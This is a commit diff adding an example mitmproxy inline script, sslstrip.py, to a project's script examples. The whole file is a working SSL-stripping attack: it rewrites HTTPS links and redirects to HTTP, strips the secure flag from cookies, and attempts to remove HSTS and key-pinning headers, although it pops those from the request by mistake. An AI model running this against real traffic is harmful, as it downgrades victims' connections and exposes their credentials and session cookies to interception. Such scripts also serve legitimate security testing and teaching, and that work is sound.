added sslstrip to inline script examples

examples/sslstrip.py

@@ -0,0 +1,41 @@
+from netlib.http import decoded
+import re
+from six.moves import urllib
+
+def start(context, argv) :
+
+    #set of SSL/TLS capable hosts
+    context.secure_hosts = set()
+
+def request(context, flow) :
+
+    flow.request.headers.pop('Accept-Encoding', None)
+    flow.request.headers.pop('If-Modified-Since', None)
+    flow.request.headers.pop('Cache-Control', None)
+
+    #proxy connections to SSL-enabled hosts
+    if flow.request.pretty_host in context.secure_hosts :
+        flow.request.scheme = 'https'
+        flow.request.port = 443
+
+def response(context, flow) :
+
+    with decoded(flow.response) :
+        flow.request.headers.pop('Strict-Transport-Security', None)
+        flow.request.headers.pop('Public-Key-Pins', None)
+
+        #strip links in response body
+        flow.response.content = flow.response.content.replace('https://', 'http://')
+
+        #strip links in 'Location' header
+        if flow.response.headers.get('Location','').startswith('https://'):
+            location = flow.response.headers['Location']
+            hostname = urllib.parse.urlparse(location).hostname
+            if hostname:
+                context.secure_hosts.add(hostname)
+            flow.response.headers['Location'] = location.replace('https://', 'http://', 1)
+
+        #strip secure flag from 'Set-Cookie' headers
+        cookies = flow.response.headers.get_all('Set-Cookie')
+        cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]
+        flow.response.headers.set_all('Set-Cookie', cookies)